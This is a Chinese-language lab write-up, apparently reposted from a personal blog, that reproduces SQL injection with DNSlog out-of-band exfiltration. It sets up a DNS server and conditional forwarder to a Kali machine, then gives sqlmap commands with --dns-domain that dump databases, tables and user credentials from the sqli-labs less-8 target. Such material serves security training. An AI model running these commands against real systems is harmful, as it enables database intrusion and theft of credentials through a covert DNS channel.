原文地址
【sql注入】sqlmap+DNSlog外带数据 注入复现 – Yoyo&Kiki's Blog (mylovekiki.top)
DNSlog注入
dnslog注入原理通过子查询,将内容拼接到域名内,查询相应的dns解析记录,来获取我们想要的数据
利用场景
在sql注入为布尔盲注、时间盲注时,如果遇到大量的数据,注入的效率将十分低下且耗时,用sqlmap还容易被waf拦截,IP被ban,这种情况就可用利用内置文件读取函数 load_file()来完成 DNSlog注入
MySql配置条件
配置文件 my.ini 中 secure_file_priv 需为空
- secure_file_priv为空,可以读取磁盘的目录;
- secure_file_priv为路径,可以读取路径中的文件;
- secure_file_priv为null,load_file则不能加载文件。
复现
实验环境:
Windows Server 2008 R2(DNS服务器)IP:192.168.0.107
Kali(sqlmap)IP:192.168.0.108
Win11(靶机)IP:192.168.0.105
环境搭建
DNS服务器搭建
进入Windows Server 2008 R2 服务器管理器,新建新建角色,选择DNS服务器
然后新建一个正向查找区域,选择区域类型为主要区域,命名 changan.top
然后就下一步下一步完成。
右键查看服务器属性,高级,取消勾选 禁用递归,
在监视中,勾选下图的两个测试类型
然后右键changan.top 新建l主机A记录,一个名称 ns1,IP为kali(sqlmap)地址 192.168.0.108,作为域的DNS服务器;另一个名称 *(泛解析),IP为kali(sqlmap)地址 192.168.0.108,匹配所有子域名
测试
来到win11物理机,修改DNS服务器为刚才搭建的DNS服务器(Win Service 2008R2),IP 192.168.0.107
接下来测试,查看能否解析到kali
先在kali开启53端口监听
然后在Win11物理机ping我们搭建的DNS服务器,可见可以连接,且kali可以收到并转发
现在,我们Win11物理机的所有数据,都将交给搭建的DNS服务器,然后中转给kali
添加转发
新建一个条件转发器,DNS域为 shanxi.top,IP为kali 192.168.0.108(不用理会验证超时)
物理机ping test.changan.top 能通,kali有显示即可
注入复现
sqlmap+DNSlog 外带参数 –dns-domain参数注入
–dns-domain参数为条件转发器中设置的域名:shanxi.top
爆库
sqlmap -u “http://192.168.0.105/sqli-labs-master/less-8/index.php/?id=1” –technique=T –dns-domain “shanxi.top” –dbs
库名security
爆表
sqlmap -u “http://192.168.0.105/sqli-labs-master/less-8/index.php/?id=1” –technique=T –dns-domain “shanxi.top” -D security –tables
爆字段名
sqlmap -u “192.168.0.105/sqli-labs-master/less-8/?id=1” –technique=T –dns-domain “shanxi.top” -D security -T users –columns
爆数据
sqlmap -u “192.168.0.105/sqli-labs-master/less-8/?id=1” –technique=T –dns-domain “shanxi.top” -D security -T users -C username,password –dump
搞定!
比布尔、时间盲注快不少!